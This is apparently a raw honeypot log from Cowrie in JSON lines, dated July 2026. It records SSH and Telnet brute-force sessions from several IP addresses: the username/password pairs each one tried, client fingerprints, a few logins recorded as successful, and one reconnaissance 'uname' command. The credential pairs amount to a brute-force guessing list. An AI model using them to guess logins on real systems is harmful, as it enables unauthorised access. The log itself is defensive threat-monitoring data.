{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:46.676629Z","src_ip":"91.92.40.153","session":"03aa07b39df6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:46.680012Z","src_ip":"91.92.40.153","session":"03aa07b39df6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:48.389040Z","src_ip":"91.92.40.153","session":"03aa07b39df6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:49.588212Z","src_ip":"139.99.74.35","session":"298c36e706b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:49.592454Z","src_ip":"139.99.74.35","session":"298c36e706b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:49.863480Z","src_ip":"91.92.40.153","session":"03aa07b39df6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":59178,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2cdf9912a96","protocol":"ssh","message":"New connection: 91.92.40.153:59178 (10.17.0.5:22) [session: b2cdf9912a96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:52.573382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:52.927877Z","src_ip":"91.92.40.153","session":"b2cdf9912a96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:52.930953Z","src_ip":"91.92.40.153","session":"b2cdf9912a96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147258","message":"login attempt [root/147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:54.783585Z","src_ip":"91.92.40.153","session":"b2cdf9912a96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:56.240055Z","src_ip":"91.92.40.153","session":"b2cdf9912a96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":47892,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5e9b8be84b2","protocol":"ssh","message":"New connection: 160.187.174.22:47892 (159.203.135.109:22) [session: c5e9b8be84b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:57.790896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:57.795328Z","src_ip":"160.187.174.22","session":"c5e9b8be84b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:58.034441Z","src_ip":"160.187.174.22","session":"c5e9b8be84b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":55066,"dst_ip":"10.17.0.5","dst_port":22,"session":"1be9ac0de1dc","protocol":"ssh","message":"New connection: 91.92.40.153:55066 (10.17.0.5:22) [session: 1be9ac0de1dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:58.347788Z"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:58.739701Z","src_ip":"160.187.174.22","session":"c5e9b8be84b2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:58.775720Z","src_ip":"91.92.40.153","session":"1be9ac0de1dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:58.779006Z","src_ip":"91.92.40.153","session":"1be9ac0de1dc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:59.255073Z","src_ip":"160.187.174.22","session":"c5e9b8be84b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:59.257546Z","src_ip":"160.187.174.22","session":"c5e9b8be84b2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:59.499202Z","src_ip":"160.187.174.22","session":"c5e9b8be84b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:59.503548Z","src_ip":"160.187.174.22","session":"c5e9b8be84b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":52600,"dst_ip":"159.203.135.109","dst_port":23,"session":"6229a1de0dd9","protocol":"telnet","message":"New connection: 107.6.151.170:52600 (159.203.135.109:23) [session: 6229a1de0dd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:00.465987Z"}
{"eventid":"cowrie.login.failed","username":"mohammad","password":"mohammad","message":"login attempt [mohammad/mohammad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:01.135914Z","src_ip":"91.92.40.153","session":"1be9ac0de1dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.63424515724182,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:01.273993Z","src_ip":"170.64.224.25","session":"6041a61fcf7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:02.750551Z","src_ip":"91.92.40.153","session":"1be9ac0de1dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":38996,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4ac38106454","protocol":"ssh","message":"New connection: 91.92.40.153:38996 (10.17.0.5:22) [session: d4ac38106454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:04.410107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:04.814525Z","src_ip":"91.92.40.153","session":"d4ac38106454","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:04.817627Z","src_ip":"91.92.40.153","session":"d4ac38106454","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123","message":"login attempt [test/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:07.366603Z","src_ip":"91.92.40.153","session":"d4ac38106454","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:09.055692Z","src_ip":"91.92.40.153","session":"d4ac38106454","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":39142,"dst_ip":"10.17.0.5","dst_port":22,"session":"75e5746fccac","protocol":"ssh","message":"New connection: 91.92.40.153:39142 (10.17.0.5:22) [session: 75e5746fccac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:10.120859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:10.674172Z","src_ip":"91.92.40.153","session":"75e5746fccac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:10.677725Z","src_ip":"91.92.40.153","session":"75e5746fccac","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!","message":"login attempt [admin/admin!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:13.662303Z","src_ip":"139.99.74.35","session":"298c36e706b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"123","message":"login attempt [odoo16/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:14.534116Z","src_ip":"91.92.40.153","session":"75e5746fccac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":55882,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f003d0f98b2","protocol":"ssh","message":"New connection: 91.92.40.153:55882 (10.17.0.5:22) [session: 8f003d0f98b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:15.918163Z"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:16.184137Z","src_ip":"91.92.40.153","session":"75e5746fccac","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:16.476956Z","src_ip":"91.92.40.153","session":"8f003d0f98b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:16.480552Z","src_ip":"91.92.40.153","session":"8f003d0f98b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"abc123","message":"login attempt [claude/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:20.053898Z","src_ip":"91.92.40.153","session":"8f003d0f98b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":55930,"dst_ip":"10.17.0.5","dst_port":22,"session":"edf9bf623220","protocol":"ssh","message":"New connection: 91.92.40.153:55930 (10.17.0.5:22) [session: edf9bf623220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:21.703221Z"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:21.923294Z","src_ip":"91.92.40.153","session":"8f003d0f98b2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:22.393613Z","src_ip":"91.92.40.153","session":"edf9bf623220","protocol":"ssh"}
